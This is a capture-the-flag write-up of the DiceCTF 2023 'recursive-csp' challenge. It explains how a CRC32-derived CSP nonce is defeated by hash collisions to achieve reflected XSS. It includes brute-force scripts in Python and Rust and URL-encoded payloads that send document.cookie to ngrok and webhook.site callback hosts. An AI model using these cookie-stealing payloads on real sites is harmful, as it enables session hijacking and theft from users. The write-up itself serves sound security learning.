siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

recursive-csp

Overview

Background

the nonce isn’t random, so how hard could this be?

(the flag is in the admin bot’s cookie)

recursive-csp.mc.ax

Admin Bot

Find the flag

In this challenge, there are 2 websites.

recursive-csp.mc.ax:

View source page:

<!DOCTYPE html>
<html>
  <head>
    <title>recursive-csp</title>
  </head>
  <body>
    <h1>Hello, world!</h1>
    <h3>Enter your name:</h3>
    <form method="GET">
      <input type="text" placeholder="name" name="name" />
      <input type="submit" />
    </form>
    <!-- /?source -->
  </body>
</html>

In here, we see there is a HTML comment.

The ?source is the GET parameter.

Let’s try to provide that:

As you can see, we found the PHP source page.

Source code:

<?php
  if (isset($_GET["source"])) highlight_file(__FILE__) && die();

  $name = "world";
  if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) {
    $name = $_GET["name"];
  }

  $nonce = hash("crc32b", $name);
  header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';");
?>
<!DOCTYPE html>
<html>
  <head>
    <title>recursive-csp</title>
  </head>
  <body>
    <h1>Hello, <?php echo $name ?>!</h1>
    <h3>Enter your name:</h3>
    <form method="GET">
      <input type="text" placeholder="name" name="name" />
      <input type="submit" />
    </form>
    <!-- /?source -->
  </body>
</html>

Let’s break it down!

Armed with above information, we can try to provide the name GET parameter:

As you can see, our name’s value is being reflected to the web page.

That being said, we can try to exploit reflected XSS (Cross-Site Scripting)!

Payload:

<script>alert(document.domain)</script>

However, the alert box doesn’t appear, as the Content-Security-Policy’s script-src is set to none. That being said, the back-end will disallow from executing JavaScript code.

Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross-Site Scripting (XSS) and data injection attacks. These attacks are used for everything from data theft, to site defacement, to malware distribution.

But! The script-src directive is set to a nonce value.

Also, the script-src directive also set to unsafe-inline, which enables us to execute any inline JavaScript code!

Hmm… How can we abuse the nonce value…

In Content Security Policy (CSP) Quick Reference Guide, it said:

As you can see, the nonce’s random value must be cryptographically secure random.

In our case, the nonce’s value is hashed by our name value via CRC32B algorithm.

After poking around, I found an interesting thing.

we can use the <meta> element to redirect users:

<meta http-equiv="refresh" content="1;url=https://siunam321.github.io/">

Boom! We can redirect users to any website!

However, that doesn’t allow us to steal the admin bot’s cookie because of the CORS (Cross-Origin Resource Sharing) policy?

Hmm… What if I redirect the admin bot to our XSS payload??

But then it’ll be blocked because of the nonce value is incorrect…

Let’s go to the “Admin Bot” page:

In here, we can submit a URL:

Burp Suite HTTP history:

When we clicked the “Submit” button, it’ll send a POST request to /web-recursive-csp, with parameter url and recaptcha_code.

Then, it’ll redirect us to /web-recursive-csp with GET parameter msg and url.

Maybe we could redirect the admin bot to here, and trigger an XSS payload??

But no dice.

If you look at the source code:

strlen($_GET["name"]) < 128

It checks the string length is less than 128 characters or not. Why it’s doing that?

According to HackTricks, if the response is overflowed (default 4096 bytes), it’ll show a warning:

So, maybe the checks is preventing that?

Also, I realized that there is a thing called “Hash collision”. For example, MD5 hash collision attack, where 2 MD5 hashes are the same, thus collided.

Since CRC32B algorithm only outputs a 32-bit unsigned value, we can very easily to brute force it.

Let’s write a simple Python script to brute force it!

#!/usr/bin/env python3

from zlib import crc32
from itertools import combinations_with_replacement

characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}"
counter = 1

# Hash and loop through aa, ab, ac, ...
while True:
    for character in combinations_with_replacement(characters, counter):
        crc32BeforeHashInput = "".join(character).encode('utf-8')
        crc32BeforeHashed = hex(crc32(crc32BeforeHashInput))[2:]

        crc32HashNonce = f"<script nonce='{crc32BeforeHashed}'>alert(document.domain)</script>".encode('utf-8')
        crc32HashedNonce = hex(crc32(crc32HashNonce))[2:]

        crc32HashPayloadInput = f"<script nonce='{crc32HashedNonce}'>alert(document.domain)</script>".encode('utf-8')
        crc32HashedPayload = hex(crc32(crc32HashPayloadInput))[2:]

        print(f'[*] Trying nonce: {crc32HashedNonce}, hashed: {crc32HashedPayload}', end='\r')

        if crc32HashedPayload == crc32HashedNonce:
            print('\n[+] Found collided hash!')
            print(f'[+] Before hashed 1: {crc32HashNonce.decode()}')
            print(f'[+] Before hashed 2: {crc32HashPayloadInput.decode()}')
            print(f'[+] After hashed 1: {crc32HashedNonce}')
            print(f'[+] After hashed 2: {crc32HashedPayload}')
            # exit()
    else:
        counter += 1

If this script found a collided hash, we could use that nonce value in our XSS payload, as the back-end will also generate the same nonce value!

However, still no luck????

After the CTF

After the CTF, I found that there is a GitHub repository that generate CRC32 hash collision:

Let’s clone that repository!

┌[siunam♥earth]-(/opt)-[2023.02.08|17:37:33(HKT)]
└> sudo git clone https://github.com/bediger4000/crc32-file-collision-generator.git
[sudo] password for siunam: 
Cloning into 'crc32-file-collision-generator'...

Then, we can create a target.txt for generating the nonce value, and payload.txt for the XSS payload:

┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|17:38:00(HKT)]
└> echo -n '0' > target.txt
┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|17:41:58(HKT)]
└> /opt/crc32-file-collision-generator/crc32 target.txt                
target.txt, read 1 bytes
	CRC32: f4dbdf21

Note: The -n flag must be used to remove the new line character (\n) in the end.

┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|17:42:17(HKT)]
└> echo -n '<script nonce="f4dbdf21">alert(document.domain)</script>' > payload.txt

Note: For testing purposes, we can first use alert() JavaScript function.

After that, use matchfile to find the collided hash:

┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|17:43:01(HKT)]
└> /opt/crc32-file-collision-generator/matchfile target.txt payload.txt
File to match has length 1, CRC32 value f4dbdf21
File to get to match has length 56, CRC32 value 2d0aaf44
Bytes to match: 41db763a
3a 76 db 41 
:v�A

Next, URL encode the XSS payload and the collided bytes:

#!/usr/bin/env python3

import urllib.parse

def main():
    url = 'https://recursive-csp.mc.ax/?name='
    XSSpayload = ''.join(open('payload.txt', 'r'))
    matchedBytes = '%c3%71%37%2f'

    print(f'URL encoded Payload:\n{url}{urllib.parse.quote(XSSpayload)}{matchedBytes}')

if __name__ == '__main__':
    main()
┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|17:51:09(HKT)]
└> python3 url_encode_payload.py
URL encoded Payload:
https://recursive-csp.mc.ax/?name=%3Cscript%20nonce%3D%22f4dbdf21%22%3Ealert%28document.domain%29%3C/script%3E%3a%76%db%41

Finally, copy and paste that URL encoded payload:

Boom!! We successfully triggered an alert box, as the nonce value is matched!!

Now, to retrieve admin bot’s cookie, we can modify the XSS payload.

But first, we need to:

Setup Ngrok HTTP port forwarding and Python Simple HTTP server: (Or you can just use Webhook.site)

┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|17:59:20(HKT)]
└> ngrok http 8000
[...]
Web Interface                 http://127.0.0.1:4040                                                        
Forwarding                    https://2330-{Redacted}.ap.ngrok.io -> http://localhost:8000
[...]
┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|17:59:57(HKT)]
└> python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Then we can modify the XSS payload:

┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|18:01:03(HKT)]
└> echo -n '<script nonce="f4dbdf21">document.location="https://2330-{Redacted}.ap.ngrok.io?"+document.cookie</script>' > payload.txt

Note: The XSS payload must less than 128 characters, as the web application will check that.

Again, find the collided bytes:

┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|18:02:33(HKT)]
└> /opt/crc32-file-collision-generator/matchfile target.txt payload.txt
File to match has length 1, CRC32 value f4dbdf21
File to get to match has length 110, CRC32 value 43e6a8bd
Bytes to match: 2f3771c3
c3 71 37 2f 
�q7/

URL encode it:

    matchedBytes = '%c3%71%37%2f'
┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|18:02:57(HKT)]
└> python3 url_encode_payload.py 
URL encoded Payload:
https://recursive-csp.mc.ax/?name=%3Cscript%20nonce%3D%22f4dbdf21%22%3Edocument.location%3D%22https%3A//2330-{Redacted}.ap.ngrok.io%3F%22%2Bdocument.cookie%3C/script%3E%c3%71%37%2f

Finally, send the above URL to admin bot:

Verify it worked:

Web Interface                 http://127.0.0.1:4040                                                        
Forwarding                    https://2330-{Redacted}.ap.ngrok.io -> http://localhost:8000             
                                                                                                           
Connections                   ttl     opn     rt1     rt5     p50     p90                                  
                              1       0       0.01    0.00    0.00    0.00                                 
                                                                                                           
HTTP Requests                                                                                              
-------------                                                                                              
                                                                                                           
GET /                          200 OK
┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|17:59:57(HKT)]
└> python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
127.0.0.1 - - [08/Feb/2023 18:03:49] "GET /?flag=dice{h0pe_that_d1dnt_take_too_l0ng} HTTP/1.1" 200 -

Nice! We successfully retrieved admin bot’s cookie!!

Alternatively, I modified the brute force script:

#!/usr/bin/env python3

from zlib import crc32

def main():
    for i in range(0x0, 0xffffffff + 1):
        nonceValue = crc32(bytes(i))

        payload = f'<script nonce="{nonceValue}">document.location="https://webhook.site/9e750b29-46f0-4629-a07c-adeb8a7ed641/?c="+document.cookie</script>'.encode('utf-8')
        hashedPayload = crc32(bytes(payload))

        print(f'[*] Trying nonce {nonceValue}, hashed payload {hashedPayload}', end='\r')

        if hashedPayload == nonceValue:
            print('[+] Found collided hash!')
            print(f'[+] Nonce value: {nonceValue}')
            print(f'[+] Hashed value: {hashedPayload}')
            print(f'[+] Before hashed payload: {payload.decode()}')
            exit()

if __name__ == '__main__':
    main()

This script will loop through hex 0x0 to hex 0xffffffff, which is from 0 to 4294967295. The reason why we loop through that, is because CRC32 is 32-bit long, or 8 hex characters long. Therefore, we can loop through hex 0x0 to hex 0xffffffff, to get the hash collision value:

┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|18:06:13(HKT)]
└> python3 brute_force_crc32b.py                                                              
[...]

However, using Python to do that would take a very, very long time.

To address this issue, we can use Rust.

Rust is blazingly fast and memory-efficient: with no runtime or garbage collector, it can power performance-critical services, run on embedded devices, and easily integrate with other languages.

┌[siunam♥earth]-(~/ctf/DiceCTF-2023/Web/recursive-csp)-[2023.02.08|18:24:12(HKT)]
└> cargo init         
     Created binary (application) package
use rayon::prelude::*;

fn main() {
    let payload = "<script nonce='f4dbdf21'>document.location='https://6466-{Redacted}.ap.ngrok.io?'+document.cookie</script>".to_string();
    let start = payload.find("Z").unwrap();
    (0..=0xFFFFFFFFu32).into_par_iter().for_each(|i| {
        let mut p = payload.clone();
        p.replace_range(start..start+8, &format!("{:08x}", i));
        if crc32fast::hash(p.as_bytes()) == i {
            println!("{} {i} {:08x}", p, i);
        }
    });
}

Note: Replace your call back link to yours. Also, the nonce can be remain unchanged.

It creates a range from 0 to $2^{32}$, then uses Rayon to parallelize it. Then, it places the iterator value into the nonce, and checks that the output of crc32fast::hash is itself the iterator value. (Once again, from this challenge author’s writeup).

Then compile it, and run the compiled executable.

After you found the collided hash, you can repeat the same step in the first solution.

Conclusion

What we’ve learned:

  1. XSS (Cross-Site Scripting) & CSP (Content Security Policy) Bypass Via Insecure Nonce Value